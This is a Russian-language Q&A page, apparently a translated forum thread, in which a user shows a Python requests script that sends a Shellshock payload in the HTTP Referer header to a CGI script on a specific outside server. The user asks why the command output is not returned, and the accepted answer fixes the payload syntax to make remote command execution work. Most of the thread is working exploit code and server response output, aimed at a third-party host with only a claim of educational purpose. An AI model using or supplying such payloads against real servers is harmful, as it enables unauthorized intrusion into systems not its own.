Как выполнить команду bash на сервере из заголовка http, используя python?

1

У меня есть следующий скрипт в python

headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

а также

r.headers 

является

{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()', 
'content-type': 'text/html'
}

когда я передаю y = "(ls)" в заголовке. Я получаю 'ls_result': '(ls)' в заголовке ответа. зачем $ сбрасывать с моего ввода? как можно перечислить каталог в заголовке ответа? PS: это для образовательной цели

Теги:
cgi

1 ответ

2
Лучший ответ

Синтаксис для выполнения команды и назначение ее вывода переменной:

y="$(ls)"

У вас в скобках значение $, оно должно быть снаружи.

Обратите внимание, что ваш код будет выполнять только команду оболочки, если вы не исправили уязвимость ShellShock.

Ещё вопросы

Сообщество Overcoder
Наверх
Меню